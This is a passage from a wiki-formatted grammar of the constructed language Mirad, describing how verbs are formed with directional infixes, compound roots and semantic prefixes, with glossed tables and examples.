::* '''Et voy yafe deuz&lt;u&gt;ux&lt;/u&gt;er at.'''....''You cannot make me sing.''
::* '''At hihid&lt;u&gt;ux&lt;/u&gt;wa.'''....''I was tickled (= made to laugh).''
::* '''Eta deuz hihid&lt;u&gt;ux&lt;/u&gt;a yat.'''....''Your song tickled us. (= Made us laugh.)''
::* '''Van het ivas&lt;u&gt;ux&lt;/u&gt;u weti.'''....''May someone get you guys to be happy.''
::* '''Hua enzyukpur uzp&lt;u&gt;ux&lt;/u&gt;a yata pur.'''....''That motorcycle caused our car to veer.''

== Subject-directed vs. Patient-directed Verbs ==
: The directionality of some verbs can be distinguished by the verbal formant infix '''-i-''' for an action or motion toward the speaker and '''-u-''' for an action or motion away from the speaker toward some patient, eg.:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Directional Verbs
|-
! Subject-directed !! Patient-directed
|-
| '''b&lt;u&gt;i&lt;/u&gt;er'''....''to take'' || '''b&lt;u&gt;u&lt;/u&gt;er'''....''to give''
|-
| '''nier'''....''to consume'' || '''nuer'''....''to supply''
|-
| '''nyier'''....''to order'' || '''nyuer'''....''to deliver''
|-
| '''nazunier'''....''win a prize'' || '''nazunuer'''....''award a prize''
|-
| '''noysier'''....''pay off'' || '''noysuer'''....''charge''
|-
| '''ojbier'''....''borrow'' || '''ojbuer'''....''lend''
|-
| '''tadier'''....''get married'' || '''taduer'''....''marry off''
|-
| '''papier'''....''take flight'' || '''papuer'''....''send off flying''
|-
| '''pipier'''....''set sail'' || '''pipuer'''....''dock''
|-
| '''simbier'''....''take a seat'' || '''simbuer'''....''offer a seat''
|-
| '''tampier'''....''leave home'' || '''tampuer'''....''arrive home''
|-
| '''tamier'''....''settle in'' || '''tamuer'''....''shelter''
|-
| '''nuxbier'''....''to buy'' || '''nixbuer'''....''to sell''
|-
| '''telier'''....''to eat'' || '''teluer'''....''to feed''
|-
| '''gonbier'''....''to participate'' || '''gonbuer'''....''to share''
|-
| '''tilier'''....''to drink'' || '''tiluer'''....''to ply with drink''
|-
| '''teubier'''....''to swallow'' || '''teubuer'''....''to spit out''
|-
| '''teatier'''....''to observe, watch'' || '''teatuer'''....''to show''
|-
| '''taxier'''....''to memorize'' || '''taxuer'''....''to remind''
|-
| '''alier'''....''to breathe in'' || '''aluer'''....''to breathe out, expire''
|-
| '''ilier'''....''to absorb'' || '''iluer'''....''to pour''
|-
| '''ifier'''....''to enjoy'' || '''ifuer'''....''to please''
|-
| '''dier'''....''to ask'' || '''duer'''....''to suggest''
|-
| '''tier'''....''to learn'' || '''tuer'''....''to inform''
|-
| '''pier'''....''to depart'' || '''puer'''....''to arrive''
|-
| '''kebier'''....''to choose'' || '''kebuer'''....''to distribute''
|-
| '''byier'''....''to originate'' || '''byuer'''....''to target''
|-
| '''mempier'''....''to take off'' || '''mempuer'''....''to land''
|-
| '''sinier'''....''visualize'' || '''sinuer'''....''display''
|-
| '''xier'''....''to result'' || '''xuer'''....''to cause''
|-
| '''yifier'''....''to get up the courage'' || '''yifuer'''....''to encourage, challenge''
|-
| '''yafonier'''....''to gain power'' || '''yafonuer'''....''to empower''
|-
| '''trier'''....''to become acquainted with'' || '''truer'''....''to acquaint with, introduce to''
|-
| '''tepzexier'''....''to draw attention'' || '''tepzexuer'''....''to focus attention on''
|-
| '''yekier'''....''to undertake'' || '''yekuer'''....''to challenge''
|-
| '''dyunier'''....''to assume the name of'' || '''dyunuer'''....''to bestow the name of''
|-
| '''abfinier'''....''to take advantage of'' || '''abfinuer'''....''to favor''
|}

: In some cases, the directionality can be both ways in a verb, in which case the verb formant infix '''-ui-''' (a hybrid form) is used, eg.:
::* '''nunier '''....''to purchase'' (subject-directed)
::* '''nunuer'''....''to sell'' (patient-directed)
::* '''nunuier'''....''to trade'' (subject &amp; patient-directed)

::* '''tier'''....''to learn, realize'' (subject-directed)
::* '''tuer'''....''to inform, tip off'' (patient-directed)
::* '''tuier'''....''to communicate'' (subject &amp; patient-directed)
::* '''ebtuier'''....''to intercommunicate''

::* '''alier'''....''to breathe in, inhale'' (subject-directed)
::* '''aluer'''....''to breathe out, exhale'' (patient-directed)
::* '''aluier'''....''to breathe, respire'' (subject &amp; patient-directed)

::* '''bier '''....''to take'' (subject-directed)
::* '''buer'''....''to give'' (patient-directed)
::* '''buier'''....''to give and take, exchange'' (subject &amp; patient-directed)

== Bi-radical Verbs ==
: Some verbs are formed using two verb roots together.  Here are some examples:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Bi-radical Verbs
|-
! Verb Root 1 !! Verb Root 2 !! Bi-radical Verb
|-
| '''nuxer'''....''to pay'' || '''bier'''....''to take'' || '''nuxbier'''....''to buy''
|-
| '''nixer'''....''to earn'' || '''buer'''....''to give'' || '''nixbuer'''....''to sell''
|-
| '''kexer'''....''to seek'' || '''bier'''....''to take'' || '''kexbier'''....''to choose''
|-
| '''uper'''....''to come'' || '''dier'''....''to ask'' || '''updier'''....''to invite''
|-
| '''teater'''....''to see'' || '''der'''....''to tell'' || '''teader'''....''to testify''
|-
| '''teeter'''....''to hear'' || '''drer'''....''to write'' || '''teadrer'''....''to report''
|-
| '''teater'''....''to see'' || '''per'''....''to go'' || '''teaper'''....''to visit''
|-
| '''texer'''....''to think'' || '''der'''....''to say'' || '''texder'''....''to mention''
|-
| '''kexer'''....''to seek'' || '''pixer'''....''to catch'' || '''kexpixer'''....''to hunt''
|-
| '''yeker'''....''to try'' || '''teexer'''....''to listen'' || '''yekteexer'''....''to try (in court)''
|}

== Verbs with Vectorial Prefixes ==

: Prepositions and directional adverbs can be prefixed to verbs in order to change their vectorial semantics. A preposition ending in '''b''' will assimilate by losing the '''b''' before the verb '''per'''....''to go'' or the verb '''ber'''.  This assimilation does not occur for other verbs beginning with '''b''' such as '''byexer''' (''to hit''). A preposition ending in '''b''' will, however, assimilate (lose the '''b''') before any verb bases beginning with a '''p'''. For example, '''ab''' (''on'') + '''bexer''' (''to hold'') = '''obbexer''' (''to hold on''), because '''obexer''' could be interpreted as ''to release''.  Here are some examples:

:{| class=&quot;wikitable sortable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verb Prepositional Prefixes
|-
! Preposition/Adverb !!  Transitive Verb !! Intransitive Verb
|-
| '''ab'''....''on'' || '''aber'''....''apply''&lt;br&gt;not '''abber'''! || '''aper'''....''get on''&lt;br&gt;not '''abper'''!
|-
| '''ob'''....''off'' || '''ober'''....''remove'' || '''oper'''....''get off, dismount''
|-
| '''ab'''....''off'' || '''abbaxrer'''....''to rub on'' || '''apyexer'''....''to attack''
|-
| '''eb'''....''between'' || '''eber'''....''block'' || '''eper'''....''intervene''
|-
| '''eb'''....''between'' || '''ebdrayefser'''....''to interleave'' || '''ebdrafxer'''....''to interleave''
|-
| '''ub'''....''toward'' || '''uber'''....''to send'' || '''uper'''....''to come''
|-
| '''ub'''....''toward'' || '''ubbixer'''...''to attract'' || '''upixer'''....''to pitch toward''
|-
| '''yab'''....''up'' || '''yaber'''....''raise'' || '''yaper'''....''rise''
|-
| '''yob'''....''down'' || '''yober'''....''take down'' || '''yoper'''....''descend''
|-
| '''yub'''....''near'' || '''yuber'''....''bring near'' || '''yuper'''....''approach''
|-
| '''yib'''....''far'' || '''yiber'''....''take away'' || '''yiper'''....''go far away''
|-
| '''yeb'''....''in'' || '''yeber'''....''insert'' || '''yeper'''....''enter''
|-
| '''yeb'''....''in''  || '''yepuxer'''....''throw in'' || '''yepuser'''....''jump in''
|-
| '''oyeb'''....''out'' || '''oyeber'''....''expose'' || '''oyeper'''....''exit''
|-
| '''oyeb'''....''out'' || '''oyebbuxer'''....''expel'' || '''oyepuxer'''....''eject''
|-
| '''zyu'''....''round''  || '''zyuber'''....''rotate'' || '''zyuper'''....''revolve''
|-
| '''zya'''....''throughout'' || '''zyaber'''....''spread'' || '''zyaper'''....''tour''
|-
| '''av'''....''for'' || '''avdaler'''....''plead'' || '''avper'''....''pursue''
|-
| '''ov'''....''against'' || '''ovber'''....''oppose'' || '''ovper'''....''countervene''
|-
| '''yan'''....''together'' || '''yanber'''....''compose'' || '''yanper'''....''meet''
|-
| '''yon'''....''apart'' || '''yonber'''....''separate'' || '''yonper'''....''separate''
|-
| '''iz'''....''direct'' || '''izber'''....''lead'' || '''izper'''....''head''
|-
| '''uz'''....''curved'' || '''uzber'''....''divert'' || '''uzper'''....''diverge''
|-
| '''yuz'''....''around'' || '''yuzber'''....''surround'' || '''yuzper'''....''circulate''
|-
| '''yiz'''....''beyond'' || '''yizber'''....''transfer'' || '''yizper'''....''surpass''
|-
| '''zoy'''....''back, re-'' || '''zoyber'''....''return'' || '''zoyper'''....''go back''
|}

== Other Semantics-altering Verb Prefixes ==
: As in English and many other languages, prefixes can be used on verbs to reverse, mitigate, or otherwise alter the semantics:

=== Expressing ''re-'' with '''zoy-''' or '''gaw-''' ===
: The prefix '''zoy-'''....''back'' or '''gaw-&lt;sup&gt;1&lt;/sup&gt;'''....''again''  are used like the English prefix ''re-'', eg.:

::* '''ember'''....''to position'' → '''&lt;u&gt;zoy&lt;/u&gt;-ember'''....''to &lt;u&gt;re&lt;/u&gt;position, &lt;u&gt;re&lt;/u&gt;place''
::* '''buer'''....''to give'' → '''&lt;u&gt;zoy&lt;/u&gt;buer'''....''to &lt;u&gt;re&lt;/u&gt;turn (an object), give back''
::* '''sanxer'''....''to shape, form'' → '''&lt;u&gt;zoy&lt;/u&gt;sanxer'''....''to &lt;u&gt;re&lt;/u&gt;shape, &lt;u&gt;re&lt;/u&gt;form, &lt;u&gt;trans&lt;/u&gt;form''
::* '''zyauber'''....''to broadcast'' → '''gawzyauber'''....''to re-broadcast''
::* '''taja'''....''born'' → '''gawtaja'''....''reborn''
::* '''aber'''....''to apply'' → '''gawaber'''....''to reapply''
::* '''teaper'''....''to visit'' → '''&lt;u&gt;gaw&lt;/u&gt;teaper'''....''to &lt;u&gt;re&lt;/u&gt;visit''
::* '''uper'''....''to come'' → '''&lt;u&gt;zoy&lt;/u&gt;-uper&lt;sup&gt;2&lt;/sup&gt;'''....''to &lt;u&gt;re&lt;/u&gt;turn, come &lt;u&gt;back&lt;/u&gt;''
::* '''buxer'''....''to push'' → '''&lt;u&gt;zoy&lt;/u&gt;buxer'''....''to &lt;u&gt;re&lt;/u&gt;pel, push &lt;u&gt;back&lt;/u&gt;''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zoy&lt;/u&gt;puxer'''....''to &lt;u&gt;re&lt;/u&gt;ject, throw &lt;u&gt;back&lt;/u&gt;, jettison''
: Note 1:  The prefix '''gaw-''' before a consonant is pronounced like the ''gaw'' in the English word ''gawk''.  It is short for '''ga awa jod''' or '''gawa''' meaning ''one more time, again''.  If the &quot;re-&quot; word means ''to do something again'', then '''gaw-''' is used, eg. ''To reconvene'' ( = ''meet again'')....'''gawyanuper'''  If the sense of ''back'' is intended, than the prefix '''zoy-''' is used, eg. ''To return'' ( = ''come back'')....'''zoyuper'''. Both prefixes are used in the expression ''Come back again!''....'''Gawzoyupu!'''.
: Note 2: The prefix '''zoy''' is followed by a prefix to make it clear that the prepositon is '''zoy''', not '''zo''' and that the base verb is '''uper''' (''come''), not '''yuper''' (''to approach'').

:''Until we meet again'' or ''au revoir'' is expressed by '''Ju gawyanup.'''

=== Expressing ''de-, dis-, un-'' with '''lo-''' ===
: The prefix '''lo-''' reverses the semantics of a verb and is like English ''dis-'', ''de-'', or ''un-'', eg.:

::* '''sexer'''....''to build, construct'' → '''&lt;u&gt;lo&lt;/u&gt;sexer'''....''to &lt;u&gt;de&lt;/u&gt;stroy, &lt;u&gt;de&lt;/u&gt;construct''
::* '''anxer'''....''to unite'' → '''&lt;u&gt;lo&lt;/u&gt;anxer'''....''to &lt;u&gt;dis&lt;/u&gt;unite''
::* '''xer'''....''to do'' → '''&lt;u&gt;lo&lt;/u&gt;xer'''....''to &lt;u&gt;un&lt;/u&gt;do''

: Note the difference between '''o-''' and '''lo-'''.

::* '''odoparuwa'''....''&lt;u&gt;un&lt;/u&gt;armed'' (= ''not armed'')
::* '''lodoparuwa'''....''&lt;u&gt;dis&lt;/u&gt;armed'' (= from the verb '''lodoparuer'''....''to disarm'')

=== Expressing ''co-'' with '''yan-''' ===
: The prefix '''yan-'''....''together'' is used as the English ''co-'', eg.:

::* '''exer'''....''to operate'' → '''&lt;u&gt;yan&lt;/u&gt;exer'''....''to &lt;u&gt;co&lt;/u&gt;operate''
::* '''tamer'''....''to dwell'' → '''&lt;u&gt;yan&lt;/u&gt;tamer'''....''to &lt;u&gt;co&lt;/u&gt;habit''
::* '''napber'''....''to put in order'' → '''&lt;u&gt;yan&lt;/u&gt;napber'''....''to &lt;u&gt;co&lt;/u&gt;ordinate''

=== Making Verbs Completive with '''ik-''' ===
: Verbs can be made completive or perfective by prefixing them with '''ik-''' (''fully'').  Such verbs are comparable to phrasal verbs in English with ''up'' and other prepositions as in ''to eat up''.  Here are some examples in Mirad:
::* '''tojber'''....''to kill'' → '''iktojber'''....''to kill off, exterminate''
::* '''telier'''....''to eat'' → '''iktelier'''....''to eat up''
::* '''ujber'''....''to finish'' → '''ikujber'''....''to finish off/up''
::* '''gofler'''....''to rip'' → '''ikgofler'''....''to rip up''
::* '''drer'''....''to write'' → '''ikdrer'''....''to write down''
::* '''byexer'''....''to beat'' → '''ikbyexer'''....''to beat up''
::* '''agser'''....''to grow'' → '''ikagser'''....''to grow up''

=== Making Verbs Continuative with '''je-''' ===
: Verbs can be given a continuative nuance with the addition of the prefix '''je-''':
::* '''daler'''....''to talk'' → '''jedalar'''....''to go on talking, to blabber''
::* '''tejer'''....''to live'' → '''jetejer'''....''to go on living, to survive''
::* '''yexer'''....''to work'' → '''jeyexer'''....''to go on working, to keep working''
::* '''teaxer'''....''to look'' → '''jeteaxer'''....''to watch''
::* '''teexer'''....''to listen'' → '''jeteexer'''....''to keep listening, to pay attention''
::* '''duler'''....''to insist'' → '''jeduler'''....''to nag''

=== Making Verbs Inchoative with '''ij-''' ===
: Verbs can be given an inchoative nuance with the addition of the prefix '''ij-''':
::* '''texer'''....''to think'' → '''ijtexer'''....''to start to think''
::* '''ifier'''....''to enjoy'' → '''ijifier'''....''to start liking''
::* '''tyer'''....''to know'' → '''ijtyer'''....''to get to know''

=== Making Verbs Terminative with '''uj-''' ===
: Verbs can be given a terminative nuance with the addition of the prefix '''uj-''':
::* '''telier'''....''to eat'' → '''ujtelier'''....''to finish eating''
::* '''dyeer'''....''to read'' → '''ujdyeer'''....''to finish reading''
::* '''ufteuder'''....''to complain'' → '''ujufteuder'''....''to quit carping''

=== Giving Verbs a Nuance of Pleasure with '''if-''' ===
::* '''tyoper'''....''to walk'' → '''iftyoper'''....''to stroll''
::* '''tuyuxer'''....''to finger'' → '''iftuyuxer'''....''to tickle''
::* '''teaxer'''....''to look'' → '''ifteaxer'''....''to ogle (voyeuristically)''
::* '''piper'''....''to sail'' → '''ifpiper'''....''to go cruising''
::* '''teuder'''....''to shout'' → '''ifteuder'''....''to laugh''
::* '''eker'''....''to play'' → '''ifeker'''....''to have fun''

=== Giving Verbs a Nuance of Displeasure with '''uf-''' ===
::* '''tosier'''....''to feel'' → '''uftosier'''....''to get angry''
::* '''eker'''....''to play'' → '''ufeker'''....''to fight''
::* '''der'''....''to say'' → '''ufder'''....''to express displeasure''
::* '''aluer'''....''to exhale'' → '''ufaluer'''....''to huff''
::* '''daler'''....''to talk'' → '''ufdaler'''....''to rant''

=== Giving Verbs a Nuance of Prohibition with '''of-''' ===
::* '''bier'''....''to take'' → '''ofbier'''....''to steal''
::* '''deler'''....''to declare'' → '''ofdeler'''....''to ban''
::* '''yeper'''....''to enter'' → '''ofyeper'''....''to intrude, break in''
::* '''zeyper'''....''to cross'' → '''ofzeyper'''....''to transgress, poach''
::* '''gelxer'''....''to copy'' → '''ofgelxer'''....''to pirate, plagiarize''
::* '''bekuluer'''....''to administer medicine'' → '''ofbekuluer'''....''to dope''
::* '''nuxuer'''....''to pay'' → '''ofnuxuer'''....''to bribe, pay off, suborn''

=== Giving Verbs a Nuance of Holiness with '''fya-''' ===
::* '''bexler'''....''to keep'' → '''fyabexler'''....''to enshrine''
::* '''buer'''....''to give'' → '''fyabuer'''....''to sacrifice''
::* '''der'''....''to say'' → '''fyader'''....''to bless''
::* '''daler'''....''to speak'' → '''fyadaler'''....''to preach, sermonize''
::* '''diler'''....''to request'' → '''fyadiler'''....''to pray''
::* '''deuzer'''....''to sing'' → '''fyadeuzer'''....''to chant''
::* '''ifrer'''....''to love dearly'' → '''fyaifrer'''....''to worship, adore''
::* '''jader'''....''to predict'' → '''fyajader'''....''to prophesy''
::* '''miluer'''....''to sprinkle'' → '''fyamiluer'''....''to sprinkle with holy water''
::* '''ojvader'''....''to promise'' → '''fyaojvader'''....''to swear''
::* '''xeler'''....''to practice'' → '''fyaxeler'''....''to celebrate''
::* '''koser'''....''to hide'' → '''fyakoser'''....''to go on a retreat, go into hermitage''
::* '''teazer'''....''perform a show'' → '''fyateazer'''....''to perform a miracle''

=== Giving Verbs a Nuance of Profanity with '''fyo-''' ===
::* '''der'''....''to say'' → '''fyoder'''....''to curse''
::* '''diler'''....''to request'' → '''fyodiler'''....''to conjure''
::* '''tyezer'''....''to perform magic'' → '''fyotezer'''....''to engage in black magic''
::* '''xer'''....''to do'' → '''fyoxer'''....''to sin''
=== Expressing Good Actions with '''fi-''' ===
::* '''der'''....''to say'' → '''fider'''....''to praise''
::* '''fer'''....''to want'' → '''fifer'''....''to mean well''
::* '''xer'''....''to do'' → '''fixer'''....''to do well''
::* '''yaker'''....''to expect'' → '''fiyaker'''....''to hope''
::* '''yuxer'''....''to help'' → '''fiyuxer'''....''to benefit''
=== Expressing Bad Actions with '''fu-''' ===
::* '''yevder'''....''to judge'' → '''fuyevder'''....''to critique negatively''
::* '''fer'''....''to want'' → '''fufer'''....''to will ill''
::* '''der'''....''to say'' → '''fuder'''....''to badmouth''
::* '''napxer'''....''to arrange'' → '''funapxer'''....''to mess up''
::* '''yuxer'''....''to help'' → '''fuyuxer'''....''to abuse''

=== Expressing More Intense Actions with '''az-''' ===
::* '''yujber'''....''to close'' → '''&lt;u&gt;az&lt;/u&gt;yujber'''....''to lock''
::* '''der'''....''to say'' → '''&lt;u&gt;az&lt;/u&gt;der'''....''to emphasize''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;az&lt;/u&gt;duer'''....''to urge''
::* '''dizeuder'''....''to laugh'' → '''&lt;u&gt;az&lt;/u&gt;dizeuder'''....''to guffaw''
=== Expressing Less Intense Actions with '''oz-''' ===
::* '''der'''....''to utter'' → '''&lt;u&gt;oz&lt;/u&gt;der'''....''to whisper''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;oz&lt;/u&gt;duer'''....''to hint''
::* '''dizeuder'''....''to laugh'' → '''&lt;u&gt;oz&lt;/u&gt;dizeuder'''....''to chuckle''
::* '''uvteuder'''....''to moan'' → '''&lt;u&gt;oz&lt;/u&gt;uvteuder'''....''to whimper''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;oz&lt;/u&gt;tyoper'''....''to limp''
=== Expressing ''pre-, fore-'' with '''ja-''' ===
::* '''der'''....''to tell'' → '''&lt;u&gt;ja&lt;/u&gt;der'''....''to foretell, predict''
::* '''teater'''....''to see'' → '''&lt;u&gt;ja&lt;/u&gt;teater'''....''to foresee, preview''
::* '''ter'''....''to know'' → '''&lt;u&gt;ja&lt;/u&gt;ter'''....''to presage, have foreknowledge of''
::* '''yever'''....''to judge'' → '''&lt;u&gt;ja&lt;/u&gt;yever'''....''to prejudge''
::* '''juder'''....''to date'' → '''&lt;u&gt;ja&lt;/u&gt;juder'''....''to antedate''
=== Expressing ''post-, after-'' with '''jo-''' ===
::* '''juder'''....''to date'' → '''&lt;u&gt;jo&lt;/u&gt;juder'''....''to postdate''
::* '''texer'''....''to think'' → '''&lt;u&gt;jo&lt;/u&gt;texer'''....''to reflect on, review''
::* '''uvder'''....''to express sadness'' → '''&lt;u&gt;jo&lt;/u&gt;uvder'''....''to mourn, regret''
::* '''ibler'''....''to obtain'' → '''&lt;u&gt;jo&lt;/u&gt;ibler'''....''to inherit''

=== Expressing ''excessively'' with '''gra-''' ===
::* '''telier'''....''to eat'' → '''&lt;u&gt;gra&lt;/u&gt;telier'''....''to overeat''
::* '''fer'''....''to want'' → '''&lt;u&gt;gra&lt;/u&gt;fer'''....''to covet''
::* '''der'''....''to say'' → '''&lt;u&gt;gra&lt;/u&gt;der'''....''to exaggerate''
::* '''daler'''....''to talk'' → '''&lt;u&gt;gra&lt;/u&gt;daler'''....''to yammer''

=== Expressing ''inadequately'' with '''gro-''' ===
::* '''fyinder'''....''to value'' → '''&lt;u&gt;gro&lt;/u&gt;fyinder'''....''to underestimate''
::* '''mageler'''....''to cook'' → '''&lt;u&gt;gro&lt;/u&gt;mageler'''....''to undercook''
::* '''xaer'''....''to perform'' → '''&lt;u&gt;gro&lt;/u&gt;xaer'''....''to underperform''

=== Expressing ''counter-, contra-'' with '''ov-''' or '''oyv-''' ===
::* '''axler'''....''to act''  → '''&lt;u&gt;ov&lt;/u&gt;axler'''....''to counteract''
::* '''apyexer'''....''to attack'' → '''&lt;u&gt;ov&lt;/u&gt;apyexer'''....''to counterattack''
::* '''daler'''....''to speak'' → '''&lt;u&gt;ov&lt;/u&gt;daler'''....''to oppose''
::* '''der'''....''to say'' → '''&lt;u&gt;oyv&lt;/u&gt;der'''....''to contradict''
::* '''ber'''....''to put'' → '''&lt;u&gt;oyv&lt;/u&gt;ber'''....''to reverse, overturn''
::* '''texer'''....''to think''  → '''&lt;u&gt;oyv&lt;/u&gt;texer'''....''to contest, disagree''
::* '''per'''....''to go'' → '''&lt;u&gt;oyv&lt;/u&gt;per'''....''to contravene''
=== Expressing ''on behalf, for'' with '''av-''' ===
::* '''axler'''....''to act'' → '''&lt;u&gt;av&lt;/u&gt;axler'''....''to act on behalf of''
::* '''daler'''....''to speak'' → '''&lt;u&gt;av&lt;/u&gt;daler'''....''to advocate, speak on behalf of''
::* '''dyundrer'''....''to sign'' → '''&lt;u&gt;av&lt;/u&gt;dyundrer'''....''to endorse''

=== Making Verbs Reflexive with '''ut-''' (''self-, auto-'') ===
::* '''tojber'''....''to kill'' → '''&lt;u&gt;ut&lt;/u&gt;tojber'''....''to commit suicide''
::* '''vyovider'''....''to flatter'' → '''&lt;u&gt;ut&lt;/u&gt;vyovider'''....''to flatter oneself''
::* '''zaypuxwer'''....''to be propelled'' → '''&lt;u&gt;ut&lt;/u&gt;zaypuxwer'''....''to be self-propelled''
::* '''fider'''....''to praise'' → '''&lt;u&gt;ut&lt;/u&gt;fider'''....''to brag''
::* '''gober'''....''to decrement'' → '''&lt;u&gt;ut&lt;/u&gt;gober'''....''to autodecrement''
=== Making Verbs Reciprocal with '''hyuit-''' (''one another'') ===
::* '''tojber'''....''to kill'' → '''&lt;u&gt;hyuit&lt;/u&gt;tojber'''....''to kill one another''
::* '''ifer'''....''to love'' → '''&lt;u&gt;hyuit&lt;/u&gt;ifer'''....''to love one another''

=== Expressing ''inter-, intra-'' with '''eb-''' (''between'') ===
::* '''tadier'''....''to marry'' → '''&lt;u&gt;eb&lt;/u&gt;tadier'''....''to intermarry''
::* '''zyaber'''....''to spread'' → '''&lt;u&gt;eb&lt;/u&gt;zyaber'''....''to intersperse''
::* '''vyexer'''....''to relate'' → '''&lt;u&gt;eb&lt;/u&gt;vyexer'''....''to interrelate''

=== Expressing the Opposite of an Action with '''o-''' (''un-'') ===
::* '''bexler'''....''to keep'' → '''&lt;u&gt;o&lt;/u&gt;bexler'''....''to release, let go of''
::* '''aynser'''....''to integrate'' → '''&lt;u&gt;o&lt;/u&gt;aynser'''....''to disintegrate, to decay''
::* '''beler'''....''to carry'' → '''&lt;u&gt;o&lt;/u&gt;beler'''....''to drop''
::* '''bier'''....''to take'' → '''&lt;u&gt;o&lt;/u&gt;bier'''....''to leave, relinquish''
::* '''boser'''....''to be quiet'' → '''&lt;u&gt;o&lt;/u&gt;boser'''....''to be upset''
::* '''drer'''....''to write'' → '''&lt;u&gt;o&lt;/u&gt;drer'''....''to erase''

::&lt;small&gt;Note: If the base verb already begins with the negative prefix '''o-''', then the prefix is changed to '''ol-''', eg. '''obexler'''....''to release'' → '''&lt;u&gt;ol&lt;/u&gt;obexwa'''....''to unrelease''  &lt;/small&gt;

=== Expressing a Public or Official Action with '''do-''' ===
:: '''Do-''' is a stub for '''dot''' (''society'').

::* '''afder'''....''to allow'' → '''&lt;u&gt;do&lt;/u&gt;afder'''....''to authorize''
::* '''bier'''....''to take'' → '''&lt;u&gt;do&lt;/u&gt;bier'''....''to conquer, take over, take control of''
::* '''tojber'''....''to kill'' → '''&lt;u&gt;do&lt;/u&gt;tojber'''....''to execute''
::* '''buer'''....''to give'' → '''&lt;u&gt;do&lt;/u&gt;buer'''....''to dedicate''
::* '''daler'''....''to speak'' → '''&lt;u&gt;do&lt;/u&gt;daler'''....''to orate, speak in public''
::* '''deler'''....''to declare'' → '''&lt;u&gt;do&lt;/u&gt;deler'''....''to announce''
::* '''drer'''....''to write'' → '''&lt;u&gt;do&lt;/u&gt;drer'''....''to publicize, report''

=== Giving Verbs a Nuance of Truth with '''vya-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vya&lt;/u&gt;der'''....''to avow, be frank''
::* '''ber'''....''to set, put'' → '''&lt;u&gt;vya&lt;/u&gt;ber'''....''to control''
::* '''napxer'''...''to arrange, order'' → '''&lt;u&gt;vya&lt;/u&gt;napxer'''....''to adjust''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;vya&lt;/u&gt;kexer'''....''to investiage''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;vya&lt;/u&gt;tuer'''....''to advise''

=== Giving Verbs of Nuance of Falseness with '''vyo-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vyo&lt;/u&gt;der'''....''to lie, to misstate''
::* '''tester'''....''to understand'' → '''&lt;u&gt;vyo&lt;/u&gt;tester'''....''to misunderstand''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;vyo&lt;/u&gt;tuer'''....''to misinform, to deceive''
::* '''xer'''....''to do'' → '''&lt;u&gt;vyo&lt;/u&gt;xer'''....''to do wrong, fail, misdo''
::* '''yuxler'''....''to serve'' → '''&lt;u&gt;vyo&lt;/u&gt;yuxler'''....''to betray, to serve unfaithfully''
=== Making Verbs Positive with '''va-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;va&lt;/u&gt;der'''....''to affirm''
::* '''texer'''....''to think'' → '''&lt;u&gt;va&lt;/u&gt;texer'''....''to believe''
::* '''yeker'''....''to expect'' → '''&lt;u&gt;va&lt;/u&gt;yeker'''....''to presume''
::* '''bier'''.....''to take'' → '''&lt;u&gt;va&lt;/u&gt;bier'''....''to accept''
=== Making Verbs Negative with '''vo-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vo&lt;/u&gt;der'''....''to deny''
::* '''texer'''....''to think'' → '''&lt;u&gt;vo&lt;/u&gt;texer'''....''to doubt''
::* '''yeker'''....''to expect'' → '''&lt;u&gt;vo&lt;/u&gt;yeker'''....''to rule out''
::* '''bier'''.....''to take'' → '''&lt;u&gt;vo&lt;/u&gt;bier'''....''to reject''
=== Making Verbs Suppositional with '''ve-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;ve&lt;/u&gt;der'''....''to conjecture''
::* '''texer'''....''to think'' → '''&lt;u&gt;ve&lt;/u&gt;texer'''....''to suppose, hypothesize''
::* '''yovder'''....''to blame'' → '''&lt;u&gt;ve&lt;/u&gt;yovder'''....''to indict, accuse''
=== Speeding up Verbs with '''ig-''' ===
::* '''pier'''....''to leave'' → '''&lt;u&gt;ig&lt;/u&gt;pier'''....''to flee''
::* '''pyoser'''....''to drop'' → '''&lt;u&gt;ig&lt;/u&gt;pyoser'''....''to plummet''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;ig&lt;/u&gt;tyoper'''....''to run''
::* '''yeper'''....''to enter'' → '''&lt;u&gt;ig&lt;/u&gt;yeper'''....''to rush in''
=== Slowing up Verbs with '''ug-''' ===
::* '''paser'''....''to move'' → '''&lt;u&gt;ug&lt;/u&gt;paser'''....''to amble''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ug&lt;/u&gt;teaxer'''....''to gaze''
::* '''ilper'''....''to flow'' → '''&lt;u&gt;ug&lt;/u&gt;ilper'''....''to trickle''
::* '''tilier'''....''to drink'' → '''&lt;u&gt;ug&lt;/u&gt;tilier'''....''to sip''
=== Expressing the Nuance of Suddenness with '''yok-''' ===
::* '''baxer'''....''to stir'' → '''&lt;u&gt;yok&lt;/u&gt;baxer'''....''to startle''
::* '''hihider'''....''to laugh'' → '''&lt;u&gt;yok&lt;/u&gt;hihider'''....''to burst out laughing''
::* '''teaser'''....''to appear'' → '''&lt;u&gt;yok&lt;/u&gt;teaser'''....''to suddenly appear''
::* '''yoktojer'''....''to die'' → '''&lt;u&gt;yok&lt;/u&gt;tojer'''....''to drop dead''
=== Expressing the Notion of Fixedness with '''kyo-''' ===
::* '''byaser'''....''to stand'' → '''&lt;u&gt;kyo&lt;/u&gt;byaser'''....''to stand still''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;kyo&lt;/u&gt;kexer'''....''to hound, stalk''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;kyo&lt;/u&gt;teaxer'''....''to stare, glare''
::* '''texer'''....''to think'' → '''&lt;u&gt;kyo&lt;/u&gt;texer'''....''to obsess with, fixate on''
=== Expression the Notion of Randomness or Chance with '''kye-'''===
